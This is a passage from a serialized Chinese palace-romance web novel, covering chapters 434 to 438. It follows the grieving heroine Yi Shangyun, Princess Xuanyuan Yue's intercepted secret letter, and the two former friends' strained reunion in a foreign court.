于是,她吸了吸鼻子,用手背抹了把朦胧泪眼,转念道:“殿下,有一个人,他对云儿说,云儿真正的身份是东宁国遗失在西秦多年的嫡公主。起初,云儿根本就不相信,可这些日子以来,云儿一个人将过去所有至今所发生的事情全都仔仔细细地理了一遍,或许,他并没有撒谎。” 顿了顿,又道:“其实,云儿根本就不在乎自己是谁?云儿只想你活过来,只要能天天远远地看你一眼,云儿此生就算是死,也甘愿了。” 情绪再次失控,声音渐渐随着她的整个身体亦颤抖了起来:“殿下,云儿真的错了,对不起殿下,云儿实在不该相信那秦王妃所说,云儿不该怀疑殿下的心,云儿应该只相信殿下一个人,云儿千错万错,不该跟着拓拔泽去北烈,这才以至于害得殿下……殿下,你回来,你回到云儿的身边来,没有了殿下,云儿真的不行,真的不行,回来,你回来,殿下说过的话,难道都不算数了吗,回来……” 说完,便趴在凉亭里的石桌上埋头大哭了起来…… 情到深处,她并没有意识到,此时从回廊的另一头,有个挑着一盏六角宫灯的婢女正徐徐向着凉亭的方向走了过来。398 那婢女近身到了凉亭后,一挑起宫灯来上前一照,顿时大惊失色地道:“啊!怎么是姑娘?!这风雨交加的夜晚,姑娘怎能独自一人在此吹风,若是身子染了风寒,这可该如何是好?若是让三皇子殿下知道了,非扒了奴才们的皮不可!” 原来,来人正是梅志煊特意留在这个院子里贴身侍奉的婢女巧兰。 她在屋内依稀听到了有人呜咽的声音,便想出来查看查看,不想果真如此。 待刚一看清面前人的脸,顿时急得丢下了手里的灯,一边速速解下自己身上的披风来,一边紧忙朝着衣上云身边近身了过去,替其将自己的披风披上。 启料衣上云听了,竟依旧不愿抬起头来,自顾自只颤抖着那副瘦小的身子痛哭不止…… 巧兰上去一边轻抚着其背,一边不明所以,尝试着问:“姑娘,你这到底是怎么了?在这院子里也已经住了这么久了,平日见你也就是总爱发呆。今夜,你这到底因何如此啊!到底发生了什么事?有什么话,不妨你就说出来啊,有巧兰替姑娘想想办法也是好的啊……” 话未说完,启料衣上云忽地坐起来转身一把紧紧地抱住了巧兰的腰身,痛哭着道:“燕儿……燕儿……我的好燕儿,都是我的错,都是我不好,我为什么没有早点醒悟自己内心的感受,面对自己的感情,我不该退缩,不该,不该啊!若不是因为我,他便不会那么着急地决定要去攻打北烈,便不会因水精灵而中毒身亡。即使死了,甚至连个尸首都没有。你瞧瞧,我都做了些什么,燕儿,燕儿,你打我,你骂我,你杀了我吧!我错了,我真的知道错了……” 巧兰只觉顿时身子一直,整个人瞬间愣了住,心里亦是惊吓了一跳。 明显,此刻她被她当成了另一个人,那个她口口声声所叫着的似是她极其信任的“燕儿”。 她一定是长久以来心里实在是憋的太辛苦了,这才会有此番恍恍惚惚的意识和举止。 然待她稍一回过神来,巧兰顿时意识到,原来这个女子,她来自遥远的西秦国。 再顺着她方才的话继续想下去“一个能决定发起一场战争的人,在西秦国里,除了那高高在上的璟帝之外,还会有谁呢? 想啊想,巧兰不禁渐渐瞪大了一双圆溜溜的大眼睛,极不敢相信地低声喃喃自语道:“难道,他是,西秦秦王。” 瞬时,她缓缓垂首下去,一边依旧不停歇地一手轻抚着衣上云起伏不平的后背,一边更为惊讶地道:“天呢?难道,锦兰口中所说的,就连尊贵无比的永乐公主都不及她半分,能入得了那睥睨天下的灵空战神秦王法眼的人,就是,就是此刻正精神恍惚地抱着自己哭的像个孩子,撕心裂肺,痛不欲生的女子……” 一时间,巧兰愣愣地看着她,惊呆了。 许久后,巧兰见她始终都哭的似是都缓不过气来,同为平日里如履薄冰,稍有不慎便会飞来横祸的奴颜婢膝之人。 许是出于对其与自己本病相连的同情,便默默地想要安慰她些许,徐徐开口道:“巧兰知道,一直以来在姑娘的心里一定有许多话说不出口,尔今亦更再无人可说。这便是上天早已注定好的我们每个人的宿命,谁都逃不过。怪只怪,天妒英才,谁料那西秦秦王竟会如此英年早逝……” 虽然自己心里亦是知道他早已经不存在于这个世上了,可听到旁人亦如此说,不知为何,衣上云听了竟勃然大怒,忽地一把推开了巧兰,起身颇为气愤地道:“住嘴,谁说秦王殿下他死了,他不会死,绝不会死,不会死……” 巧兰依旧想要她从梦中彻底醒来,便扬声认真地道:“西秦秦王已经殁了的消息,试问如今的灵空大陆上谁人不知?也的亏是他幸好是死了,否则,那凡事总爱拔尖的西秦国早已成了灵空大陆各国的众矢之的。西北一战,北烈灭亡,其意义重大。姑娘,你就算是再自欺欺人下去也是于事无补,人死不能复生,节哀顺变才是真的,想办法走出阴影,重新开始自己的新生活才是最重要的啊!” 衣上云咬紧牙根,听着巧兰此时的一字一句,愣愣地与其对视了许久,竟沉默着再也没有争辩半分,不知道在心里暗自琢磨些什么。 最后,只见她缓缓转身,一边朝着自己的屋子方向回去,一边在心里暗暗地思量着:“殿下,那人告诉云儿说,殿下乃是因那西秦璟帝故意设局,没有及时增派援军,这才令殿下身陷囫囵,出了意外。云儿发誓,云儿会用尽一切办法,余生,一定会让那狗皇帝为此而付出无比沉痛的代价!” “没有任何人能阻止我复仇的决心,殿下……等我!”她悄悄地握紧了双拳,低声信誓旦旦地道。 第四百三十五章:密信 一夜的雨落过后,第二日清晨,朦朦轻雾升了起来。 如烟烟水湄,寂寂无边,水墨洇染的思绪,如轻雾弥漫,让人竟浑然不觉远近,似是这世间万物都笼罩在了巨大又神秘的雾幕之中。 轩辕玥早起梳妆好后,便与婢女锦兰一同来到了书房里。 手里拿着刚刚收到的一纸由母国西秦传来的密信,心中倍感亲切,正欲将其展开,忽闻守在书房门口的锦兰扬声道:“奴婢参见三皇子殿下!” 随之,那熟悉的声音响起道:“起来吧!” 闻声,轩辕玥猛地抬起头来,竟真的看到是梅志煊那熟悉的身影与其侍卫一道正经过回廊朝书房里走来。 “是殿下……”她皱紧眉头低声惊了句道。 遂紧忙回过神来转身从书架上随手拿出来一本厚厚的古籍,将手里的密信小心翼翼地夹了进去,复又将古籍重新放回到原位。 稍微整理平复了一下心绪,瞥见梅志煊亦已迈步进来,忙上前两步欠身朝其行礼迎接,担心地问:“昨儿夜里下了一夜的雨,殿下是什么时候回宫的?可曾被雨淋到?” 启料一向心细如针的梅志煊终还是觉察到了其异样的表情,心中稍一迟疑,忙弯腰过去伸手一边将其扶起身来,一边答道:“刚刚回来,因为回来的时候雨已经停了,所以并不曾淋雨,玥儿无需担心。” 闻此,轩辕玥终于舒展开了眉头起身来,两人相敬如宾地一边落座,轩辕玥一边道:“如此,那便好!” 话刚说完,接着又扬声唤门外的锦兰道:“锦兰,上茶!” 梅志煊遂一落座下来,便朝着书房内四处扫了一圈,道:“这大清早的,玥儿为何不多休息一会儿。夜里照顾海儿甚是辛苦,你理应亦多多顾及自己的身子一些才是啊!若是你累坏了,那可该如何是好?” 恰时,锦兰已经将一壶热茶奉了上来,走到轩辕玥的身旁轻声唤道:“娘娘。” 轩辕玥笑着一边伸出双手去将她手中茶盘里的一盏热气腾腾的红茶捧起,一边朝着梅志煊的身旁踱步过去,将其双手奉上。 并温柔地道:“玥儿谢殿下关心,可是殿下您确实多虑了。如今的海儿,夜里早已经不再像刚出生时的那段日子,总是时不时地就无端哭闹,现在他夜里已很是安静,所以玥儿并不曾辛苦!请殿下放心。” 梅志煊看到一向喜欢在书房里习字的轩辕玥,此时书案上却是空无一物,甚至连宣纸都不曾铺开来,顿时心生疑虑。 遂一边纳闷地暗自思量着,一边将轩辕玥递上来的茶汤接过轻抿了一口,道:“无论如何,玥儿还是要当心自己的身子。这读书习字的事儿,以后等咱们海儿再长大一些,可有你忙的时候。” 轩辕玥却不以为然,她转身一边回去坐下,一边悠悠开口道:“等海儿长大后,自有殿下这个父王亲自来教,哪里轮得到玥儿卖弄,难道不是吗?” 闻此,梅志煊忽地反应过来,连连忙道:“是,是,是,玥儿说的对!是我失言了!等海儿再大一些,我便开始教他骑马射箭,以及治国之道。咱们的海儿,日后一定会是个人中之龙。” 然轩辕玥听了,却渐渐淡去了脸上的笑意,默默地道:“可玥儿心里却只希望,海儿的一生,能够听从自己的内心,随心所欲自由自在,只做个真正的自己。” 看到轩辕玥一脸落寞,梅志煊实在不忍心俩人因此而再生嫌隙,于是伸出一只手过去紧握住她此时静静放在案几上的一只纤纤玉手,朝其微笑着妥协道:“好了,我们不说这些不开心的事了,好不好?” 轩辕玥心里又怎会不知,他俩之间的这条鸿沟,从俩人缘分刚一开始的那刻起,便已注定此生是永远都不可能越过去了。 所以眼下,她除了如同过去的每一次争吵一样,除了只能对他笑笑了之外,又还能怎样呢? 转念之间,她一撇见梅志煊茶盏里的茶水已然不多,于是起身来过去一边为其添上新茶,一边试探着问:“对了殿下,玥儿听闻后面的那所废弃了许久的院子里,来了一位殿下的故人……” 闻此,梅志煊虽然亦是早已心有防备,然心里依旧还是忽然咯噔了一下。 即将入口的茶盏在嘴边顿了顿,终还是又继续将其徐徐饮下,方才缓缓开口解释道:“哦,是啊,是来了一位故人。他本亦是我东宁国朝堂上的一官宦子弟,只因家里忽然出了变故,一时间无处安身,方才暂时来此小住一段时日。怎么,是不是,我那故人打扰到了玥儿你?” 轩辕玥慌忙道:“哦,不不不,殿下误会了。那位公子,他并未打扰到玥儿半分。不仅如此,前段时日里,那位公子还亲自替小咪解毒,这才使得玥儿没有失去那份对来自遥远的母国的一份念想。” 梅志煊惊诧地道:“哦?竟有此事?” “嗯!”轩辕玥一脸感激地点头回应道。 梅志煊心中莫名地忽然升起一抹不好的预感,正在暗自思量,轩辕玥却抿了抿嘴唇,再次试探着问:“殿下,玥儿听闻殿下不准任何人靠近后面的那所院子。不知,不知玥儿是不是可以向殿下请示,去见见那位公子?” 梅志煊听了不解地问:“玥儿,你……” 未及其将话说完,轩辕玥忙开口将其打断,对其解释道:“殿下莫要误会,玥儿只是想要亲自登门道谢,感谢那位公子上次为玥儿和海儿救了小咪一命。殿下应该可以体会,小咪对玥儿和海儿是多么的重要!” 默想了会儿,梅志煊看着轩辕玥眼里满满的固执和期望,最后不得不妥协道:“好吧,我准你去见他便是!”52文学 “多谢殿下!”轩辕玥笑着忙起身来朝其欠身行礼,内心实在是激动极了! “锦兰,还不快走!”启料话一说完,她便直起身来喊上一旁的婢女,急急朝着书房门外踱步过去。 “你这是要去哪儿啊?”梅志煊见了,不解地问。 “后院!”轩辕玥头也不回,响亮地回答。 “你如此这般着急做什么?这眼看着马上早膳时辰就要到了,吃点东西再去不成吗?当心身子啊!”梅志煊关怀道。 “玥儿怕殿下待会儿反悔了收回成命,所以一刻都不能耽误,殿下您今儿早上还是自己先用膳吧,玥儿去去便回!” 话音未落,那主仆俩人便一溜烟儿似的已消失不见。 梅志煊看似心里虽是亦有所顾忌,却也并不怎么担心,而眼下,他有更重要的一件事情急需要确认。 见轩辕玥已然忘乎所有地雀跃离去,梅志煊放下手里的茶盏,起身来朝着书案边缓缓踱步了过去。 见案上文房四宝,笔墨纸砚皆一同往日一样,并没有什么不同。 他对其凝视了半晌后,又缓缓转身,最后将目光落在了身后的一排乌木书架上。 缓缓伸出一根细长的手指来,轻轻扫过其上面摆着的整整齐齐的每一册古籍经卷。 最后,他轻轻地闭起了眼睛来,似是在仔细回忆着自己方才轻抚过的每一本书卷与过去往日里的状态。 忽然,他睁开一双深邃的眼眸来,伸手从其中间抽出了一本将其打开。 果然,那里面正夹着那封轩辕玥刚刚放进去,就连她自己都还未来得及拆开的密信,将其迅速地取出展开。 目光快速地在纸上移动着,一双浓黑的眉毛渐渐地紧紧蹙起。 忽闻“啪”的一声,他一把重重地拍在了书案上,忿忿地道:“哼,秦王轩辕瀚,他果然还没死?” 侍卫听了顿时心里一惊,忙问:“殿下,那我们接下来的行动是不是要再慎重斟酌一下。” 然梅志煊却似是想都没想,便扬起一只手来,道:“不必,西秦守护者如今在我们的手里,有什么好怕的,一切都按照原计划进行。” “是。”侍卫抱拳领命道。 “秦王轩辕瀚,本皇子还真是小瞧你了。不过,看你还有什么资本,要拿什么和本皇子斗!”梅志煊说着,露出一脸的狠绝。 秋末凝霜,萧萧落叶,年复一年,它来了又走了,走了又复归来,总是能够如此这般潇洒地匆匆而至,又匆匆离去。 花园里的凉亭中,衣上云一袭蓝白锦袍,其白皙纤细的手指熟练地拨弄着琴弦,其琴声流畅,仿佛汨汨流水,又带着沉沉的忧伤,嘴里徐徐念道: 结发为夫妻,恩爱两不疑。 欢娱在今夕,嬿婉及良时。 征夫怀远路,起视夜何其? 参辰皆已没,去去从此辞。 行役在战场,相见未有期。 握手一长叹,泪为生别滋。 努力爱春华,莫忘欢乐时。 生当复来归,死当长相思。 枝头残留的落红似是也感受到了她的悲伤,纷纷散落下来掉在地上,像是在静静等候着化作成泥更护花的那一刻的到来。 微风拂过,残花的香气氤氲缭绕,刹那间,白袂飘扬,琴声激越,与一旁的竹林一起连绵回响,久久不绝。 起手落手间,一曲终了,余音袅袅,到最后不知不觉中自己早已是泪流满面…… 第四百三十六章:陌路 “公子的琴音,未免也太过于凄凉了!”曲终,婢女巧兰立在一旁心情随之似是亦刹那间忽变得沉重了起来,低声默默地道。 然衣上云却只顾痴痴愣愣地望着自己的眼前,人见犹怜,似是根本就没有听到她所说的,宛若依旧还深陷在自己沉沉的思绪当中。 巧兰看着她,似伤又似怜,到最后却也只能对其无奈又无助的摇了摇头,发出一声长长的叹息。 “叮叮当,叮叮当……” 就在这时,一阵熟悉悦耳的铃铛声响起,渐行渐近地传入耳畔来。 巧兰,巧慧闻之惊诧地抬起头朝着其所传来的方向放眼望去。 巧慧眼疾手快,顿时扬起满脸欣喜地道:“咦,是你!你怎么又回来了!” 见到原是那一团白绒绒的可爱小猫再次光临,许是实在忍不住心里的喜爱与激动,说着便朝其急步飞奔过去弯腰蹲身将其一把抱了起来,又亲又抚,甚是开心! 就在巧慧完全得意忘形,只顾着挑逗小咪玩乐的时候,巧兰抬头瞥见一正跨门进来映入眼帘里的尊贵身份,忙吃惊地跪地朝其叩拜道:“奴婢参见娘娘!” 闻声,巧慧心里顿时惊了一句:“娘娘……”,这才戛然而止了手上的动作,迅速卸去了脸上的笑意,慌忙回头过去朝来人惊看了一眼。 继而“扑通”一声重重地跪了下来,慌手慌脚道:“奴婢,奴婢叩见娘娘!” “都起来吧!”启料轩辕玥的脸上却自从一入门进来便洋溢着一脸笑意,并无丝毫的责怪与不悦。 “谢娘娘!”巧兰,巧慧一边起身来,一边谢道。 轩辕玥一眼便发现了置身于凉亭中巧兰身后的一袭蓝白锦袍,墨发全束的翩翩公子。 遂瞥了眼摆在他面前的那把古琴,便知那人定是至今依旧尚还沉浸在自己的内心世界里无法自拔。 于是看着他瘦弱的侧脸,轩辕玥心中带了些许欣喜,道:“想必这位公子便就是恩公了吧?!” 闻声,巧兰巧慧互相面面相觑着,眼里俱都夹杂着几丝惊诧,神情微怔着异口同声道:“恩公?” 轩辕玥对着她们笑了笑,道:“难道不是吗?那日若不是这位公子及时出手相救,为小咪解毒,恐怕小咪它早就已经……” 巧兰、巧慧顿时恍然大悟,连连点头着道:“对对对,娘娘说的对,恩公,是恩公!” 说完,轩辕玥复又看向了衣上云,见他却一直并没有什么反应,便继续朝着他的方向诚恳地道:“恩公的大恩大德,理应早些时日亲自前来登门道谢的,只因有点儿事情给耽搁了,今还望恩公能海涵。” 至此,所有人都将目光落向了凉亭中衣上云的身上,而衣上云却依旧只自顾自稳稳地侧身坐着,一动不动,像是对于身旁所发生的一切恍若未闻。 稍时,轩辕玥心中甚觉纳闷着正欲再次开口,却见她忽然轻轻撩起了袍角来缓缓起身,继而将脸和整个身子俱都慢慢地转向了自己。 轩辕玥顿时望着那张似曾相识的脸孔瞪大了眼睛惊呆了,好像她的心刹那间亦随之停止了跳动一般。 她在心里默默地道:“这位公子?他,他的这张脸,他的脸怎么会这般熟悉,怎么那么像,像是……这怎么可能?这不可能,绝不可能!不可能……” 就在她纠结不清之际,其身旁同样吃惊不已的婢女锦兰在其耳畔惊声欲言又止道:“娘娘,他不是……” 然此时亦与她同样四目相对着的衣上云,她的心中,又何尝不是惊诧万分:“她,怎么会是她?娘娘,三皇子……” 脑海中快速梳理着,忽恍然明白过来:“果然,她真的如愿以偿,嫁给了心心念念的东宁国三皇子梅志煊?” 顿时间,俩人之间过去所发生的点点滴滴,瞬间在彼此的心头各自汹涌澎湃了起来。 俩个昔日里彼此之间情同姐妹,曾经拥有过那般真挚美好的友谊的一对知己,就这样在千里迢迢之外的异国他乡再次相遇。 一时间里,似是就连周围的空气亦都全部静止了下来。 凉亭内外,俩个人默默地立着四目相对,无一人说话。 许是这意想不到的相逢来的太过突然,不知该从何说起? 又许是此刻想说的太多太多,而存在于各自心中的千言万语,字字句句像是全都被映在了彼此的眼中一般。 “好久不见,是否一切安好无忧?”俩人俱都在心底默默地问对方相同的一句话,似是眼角都闪烁起些许不易被人发现的晶莹的泪花。186中文网 就这样默默地凝视着彼此的眼睛不知过了多久,终是衣上云咬了咬牙,心一横,隐忍下了心中的万般无奈,爱与恨,冲动与理智。 他走出凉亭,朝着轩辕玥面前近身过去,模仿男子的动作,缓缓抱起拳来低眼弯腰下去先开了口,朝其行礼问候道:“草民,参见娘娘!” 见此,轩辕玥的眼眸方才微微闪动了两下,忽地回过神来,确是惊诧地道:“草民…你…你难道不认得……” 未及其将话说完,衣上云忙开口将其打断道:“草民初次见到娘娘尊驾,有失远迎,若是有失礼的地方,还请娘娘恕罪!” 闻此,轩辕玥朝其瞪大了眼睛惊呆了。 眼前的人,文文静静,瘦瘦弱弱,一看就是个女扮男装的姑娘家。这种小把戏,自己曾在西秦皇宫的时候早就已经玩腻了。所以,这根本就瞒不过她的火眼精金。 正在暗自思量着,其婢女锦兰气呼呼地上前伸手指着衣上云的脸,欲将其拆穿,道:“你分明就是衣药师府上的……” 轩辕玥顿时呵斥其道:“锦兰退下,不得无礼!” 锦兰努了努嘴,极不甘心地道:“娘娘,他明明就是……” 轩辕玥再次怒瞪着她的眼睛,道:“还不快住嘴!” 不得已,锦兰只得欠身朝其行礼退下,极不情愿地说了句:“是!” 轩辕玥稍整理了下自己尚还有些凌乱的心情,嘴角试着再次噙起一抹浅笑来,对其歉然道:“恩公勿怪,只因恩公的容貌像极了我从前在西秦国时候的一位十分要好的朋友,所以婢女刚刚情绪才会有些激动,得罪之处,还望恩公见谅!” 衣上云缓缓直起身来,依旧故作镇定自若地道:“娘娘言重了,草民承蒙三皇子殿下不弃,家道中落,还能暂居于此避难已是万幸。平日里多多打扰了娘娘,应是草民请求娘娘的原谅才是!又怎敢让娘娘以‘恩公’相称,实在是折煞草民了!” 轩辕玥客气回道:“恩公不必客气,尽管安心居于此处即可,日后若有任何需要,让巧兰巧慧过去吱一声便是。” 衣上云谢道:“如此,那便有劳娘娘了!” 轩辕玥笑了笑,继而扬声唤道:“来人,将谢礼都呈上来!” 紧接着,只见众人面前鱼贯而入十几名婢女,其每人各自手里都捧着大小不一蒙着红色绸布的木盘,显得甚是神秘,婢女们纷纷上前站作一排。 轩辕玥亲自走过去将其面纱一个一个掀开来,道:“这里有黄金、白银各千两、文房四宝两套、古玩摆件十件、上等美玉十块、锦袍十套、折扇十把、名画三幅、古琴两把……还望恩公笑纳!” 衣上云望着眼前如此厚重的谢礼心中愣了一下,紧接着道:“还请娘娘将这些身外之物全部带回宫,草民实在是用不着!” “如此,或许那就只有它了……”对于这个结果,轩辕玥似是心里早已经有所猜忌,遂心下里忽然冒出了一个主意来,于是再次传唤道:“来人!” 衣上云实在不知她又要拿出多么珍贵的宝贝出来,于是忙开口推辞道:“娘娘您又何必如此这般,草民实在是不需要这些珍贵之物,草民受之有愧,草民……” 然一看到轩辕玥接着“哗”的一下,一把掀开来的红绸布后,下面所显露出的自己颇为熟悉的东西,顿时朝其瞪大了眼睛,惊呆了。 原来,这次木盘里所盛放着的并不是什么奇珍异宝,而是一沓宣纸。 “这不是,这不是……” 衣上云目光愣愣地朝其缓缓迈步过去,到了轩辕玥的身边,颤颤地伸出手去,将那一沓厚厚的宣纸拿了起来,低声念道:“天涯海角,云心永系玥!” 与此同时,轩辕玥亦跟随着她与她一起念道:“天涯海角,云心永系玥!” 忽然间心头一酸,想起过去的种种过往,开心的,不开心的,轩辕玥终是没忍住,泪水从脸庞悄悄地滑落下来。 然衣上云却在半晌后依旧故作不解地问:“草民不明白,娘娘这是何意?” 闻此,轩辕玥本还想再说些什么:“你难道忘了,这是你我最后……” 然一看到他此时眼里俱都是满满的冰冷和漠然,忽然止住了声,确是半日都一动未动,最后竟苦笑了起来。 心在这一刻似是被彻底凉透,只闻那笑声忽戛然而止,遂一脸严肃地道:“锦兰,回宫……” 出了门,锦兰百思不得其解,忍不住问:“公主,她到底为什么不肯与我们相认呢?那明明就是您每日都要练习好多遍的字,是她离宫时送给公主的最后一句话啊!她难道都忘记了吗?” “锦兰,陪我出去走走。”轩辕玥不想再继续琢磨下去,急欲把心思从杂乱纷纭中抽出。 第四百三十七章:弄巧成拙 看着轩辕玥兴冲冲地大驾光临,最后却又带着一众奴才一脸落寞地离开后,一直立在一旁看得目瞪口呆的巧兰、巧慧方才终于慢慢地回过了神来。 俩人遂着急地朝其背影曲膝行礼,齐声道:“奴婢恭送娘娘!” 三人一起目送着轩辕玥等人,直到其背影从这个院子里彻底消失的无影无踪,衣上云一直痴痴凝视着其的眼神方才微微眨了眨。 顿觉她的眼中竟不知何时已有了湿意,一滴一滴,正悄悄地落在她的掌心。 天知道,在她的内心深处里其实是多么地想仔细看看她,好好听她说说话,问问她这些年一个人在这异国他乡过得是否安好?是否真的如愿以偿遇见了她所谓的爱情? 可这一切,却又同时被另一种更强大的力量在其心间慢慢将其摧毁而使它变得越来越模糊,似是她的眼睛亦蒙上了一团白雾,什么都在淡去。 是的,关于她俩的重逢,许久以来,此情此景,她也曾在心底想过千遍万遍。 她原以为自己可以更果决,更潇洒一些,可当她真的就这么忽然出现,站在自己面前的时候,她的心底还是泛起了层层涟漪,她迟疑了:“殿下,云儿这么对她,是不是错了?” 正在暗自思索中,忽闻身后不远处的巧兰对巧慧悉心安排着道:“瞧,又起风了!这天是越来越见冷了,你赶快回去给公子重新煮些新茶送到屋里去。” “是”巧慧一脸欣然地领命后,便兀自悄悄地退了下去。 这时,巧兰深深吐了口浊气,遂缓缓上前了两步朝衣上云的身边近身了过去。 这时的她,从其脚步声便能听出,似是心中已经没有了方才的恐惧,显得十分平静,而一些不能说出口的话也终于敢说出来了。 她跟随着衣上云的眼神,与其一道望着空空荡荡的院门口的方向,默默地道:“她已经走了!” “是的,走了!”衣上云愣愣地似是有口无心地道。 “那么多赏赐,每一件都价值连城,可你却一件都不要,不会后悔吗?”巧兰缓缓收回视线,看着衣上云的背影,试探着问。 闻此,衣上云并没有立刻回答她,而且依旧眺望着朝那个空荡荡的方向。 许久后,发出一个似是连自己都有些听不清楚的声音道:“后悔……” “你说什么?”巧兰显然没有听清她这一句,歪着脑袋又问了一遍。 “没什么!”衣上云眨了眨眼睛,提高了些许声音来道。 巧兰抿了抿嘴唇,稍一回想,方才因为自己离得有些远,又被衣上云的身子在前面挡去了大半,有些情景自己并未看清,于是有些好奇地问:“方才娘娘最后的那个赏赐是什么?你当时的神情看起来好像很是惊讶似的?是不是比前面的那些金山银山还要贵重吗?” “天涯海角,云心永系玥!”这句原本出自自己亲口所言,那时信誓旦旦如同山盟海誓一般,曾是那般纯洁真诚的誓言,于她的一生,当然弥足珍贵。 而此时,似是她也终于下定了某种决心一般,忽地回过神来,一边转身提步回到凉亭里,一边一脸严肃又似漫不经心地道:“没什么,都是些往后余生里与我无关紧要的东西,不提也罢!” 然巧兰却一边紧跟其后,一边不敢相信地惊诧道:“都与你无关紧要?你说的是真的吗?俩个曾经彼此之间情深似海,无话不谈的人之间,曾经那般真挚的一段感情,分开才短短两年时间都不到,如今竟已变成了脱口便出云淡风轻的‘无关紧要’四个字了!” 说着顿了顿,将手指绕了绕鬓间垂下的一缕青丝,她忽然似是明白了些什么,道:“你这个人,还真是很特别呢?如此让人捉摸不透,难怪能深受到那位英勇神武,睥睨天下的战神西秦秦王的青睐!”清风文学 闻此,衣上云刚刚好不容易收拾好心情,正欲要弯下腰去伸手拾起凉亭里案上的那把古琴的双手突然在空中顿了住。 巧兰见了顿时反应过来,慌忙朝其连连致歉:“对不起,对不起,我不是故意要提起你的伤心事的?” 见衣上云怔住片刻始终都一动不动,巧兰手忙脚乱地上前抢先弯腰下去将衣上云正欲拾回的古琴一把抱了起来:“我来,我来,公子请回!” 衣上云遂咬了咬牙,怒瞪了她一眼,终究却还是将心底的痛楚缓缓隐忍了下去,兀自转身下了台阶,疾步出了凉亭。 与此同时,在皇宫的另一边。 轩辕玥一走出后院的大门,便遣去众人,只独独留下了婢女锦兰,在其陪同下,移步换景,前往御花园里似是有意无意地或算是赏花,或算是散心起来。 显然,锦兰一路上心里至今都闷闷不乐,耿耿怀疑着。 至此,她已是实在沉不住气,一见到了没人的角落,便停下来脚步,不由分说气呼呼地抱怨道:“公主,刚才那人明明就是云儿,她还不承认!她即便就是化成灰,奴婢也能将她识出。如今,不就是脸上的胎记去掉后变漂亮了几分吗?至于便因此而就眼高于顶,连公主您都不放在眼里不认识了。” 想起一早主仆俩至今都还饿着肚子,却是白忙活了这一场,锦兰便越想越气:“公主今儿早上一经殿下同意,便亲自精挑细选,把自己最好的陪嫁和平日里的赏赐珍藏全都给了她。那么多珍贵的物件,她竟然连一件都不曾看上?如此这般,不就是公然在奴才们的面前羞辱公主您的赏赐于她都是俗物吗!如此行径,她到底有何企图?” 说着,稍一思量她似是又猜忌到了什么,遂自顾自陷入在自己不可置信的思绪里,渐渐紧紧地蹙起了眉来,却是更觉惊诧不已地道:“公主,难道她是想,她想……” 似是此刻自己心里的想法就连她自己都不敢相信,她怕说出来会让这个善良的主子难过,可不说她又实在憋得慌。 左思右想,心一横,终于还是破口而出道:“公主,难道云儿也想要做三皇子的女人!” 一念至此,她顺着自己此时所想即刻没好气地破口大骂起来道:“好一个水性杨花的女人,之前在西秦国里便处处装可怜,以此来博得秦王殿下的同情和怜悯。这会儿又不知何时勾搭上了三皇子,真是千防万防,家贼难防。好一个忘恩负义,不要脸的女人。枉费公主和秦王殿下曾经为她付出了那么多。尤其是秦王殿下,若不是因为她,秦王殿下也不会从北烈一回来便一病不起,至今都……尔今,她却还有脸再来抢公主的夫婿。” 闻此,轩辕玥忙朝四周扫了一圈,终于开了口,斥责婢女道:“锦兰莫要胡说,小心隔墙有耳。云儿……她不是那样的人!” 然愤怒至极的锦兰却似是已什么都顾不上,只为轩辕玥感到满腹的委屈,其接下来的话语更是字字见血。 她紧紧盯视着轩辕玥的眼睛,逼道:“她不是那样的人?她若不是那样的人,公主说这句话的声音为何会越来越小?她若不是那样的人,为何此刻不是在秦王殿下的病榻前伺候,而是被咱们三皇子带回宫来那般秘密地安排在后院里金屋藏娇,还不准任何人探视?她若不是,那为何……” 轩辕玥摇头,伸手紧紧地捂起耳朵来,似是彻底奔溃了,她不愿再听,于是对其大声吼叫道:“锦兰住嘴,快住嘴,够了!够了!够了!” 见此,锦兰满腹心疼,对其又伤又怜,遂缓缓伸出手上去将其两只手慢慢掰了开来,劝解其道:“公主,从小到大,你的性子就是太善良了!这才会使得人家都欺负上门来了,不是吗?” 一时间,似是就连站立都已做不到了,继而只听闻“扑通”一声,轩辕玥重重地落座下来在花园里的石凳上。 她伤心难过地道:“我不相信,我不相信,云儿她不会那样残忍,她不会那样怼我,她一定是有什么难言之隐,或许……又或许殿下他根本就不认识她,权当她真的是一名男子!亦或者,是我们看错了,因为我们太思念云儿,太想替病榻上的秦皇叔找回云儿,而认错了人?所以,所以那位公子,他许真的不是云儿,只是和云儿长得很像,很像……她不会,她不会……” 嘴上虽以各种能想到的理由抗拒着,然心里的世界却早已在一点点地渐渐坍塌。 锦兰的声音依旧在其耳边响起,她轻轻晃了晃她的胳膊:“公主,不要再自欺欺人了,您认为,咱们阅人无数的三皇子殿下,他会识不出一个女扮男装的女子真正的身份吗?搞不好,为掩人耳目,怕皇上知情后责罚,许这还是他自己的主意呢?她根本就不值得你为她付出那么多,你醒醒吧!” 孰不知,俩人的这一席话,恰巧被一路跟随其后着的梅志煊主仆俩皆都看在了眼里。 “殿下,这下该怎么办?娘娘她……这件事,我们似乎将他给弄巧成拙了?”侍卫忧心地道。 第四百三十八章:说不出口的秘密 轩辕玥似是已经不记得自己究竟是如何回到寝宫里的。 一进门,便见在一盏昏黄的烛火照耀下,梅志煊的影子在地板上拉的好长好长,一如自己此时此刻无比纷杂、忧伤、又失落的复杂心情。 此时,那个人正将一双炯炯有神的目光安静地落在殿内一角,西窗前一木架上一只特制的透明琉璃瓶上。 琉璃瓶里,一对神蝶身姿婀娜地正在翩翩起舞,在这孤独的夜里不停挥动着翅膀发出星星点点的光芒,时而深蓝,时而湛蓝,时而浅蓝变换不停,显得是那般的优雅而美好。 烛光下,他那温柔澄澈的美目恰好钳在一张温润如玉俊美的脸上,嘴角时不时轻勾起一抹正好的浅笑来,瞬时间,宛若一抹亮光映在了其眉宇之间。 轩辕玥倚门贪婪地呆望着眼前曾是那般渴望已久,终于等到的这幅岁月静好的画面,心里默默地道:“他,曾经是那般温暖的一个人,可如今却又是如此的……” 眼前正在上演的一幕幕,每一个都是自己那般熟悉的场景,仿佛就是昨日重现一般,可却又早已是物是人非。 轩辕玥只委屈至极地觉得,自己从未有过现在这般如此的心碎与失望。 她静静地驻足依在门框上,看着那个这辈子已经是如此熟悉的不能再熟悉的伟岸高大的背影,这个不知何时起,已经变得让她又爱又恨,又熟悉又陌生的男人,想起俩人过去至今在一起时的一点一滴,情不自禁地竟默默流起了泪来。 曾经也是年少轻狂的她,骄傲的以为,身为灵空大陆上西秦国唯一尊贵的嫡长公主,这世间所有美好的东西,没有什么是她不配拥有的,当然也包括一个完美、理想的夫婿。 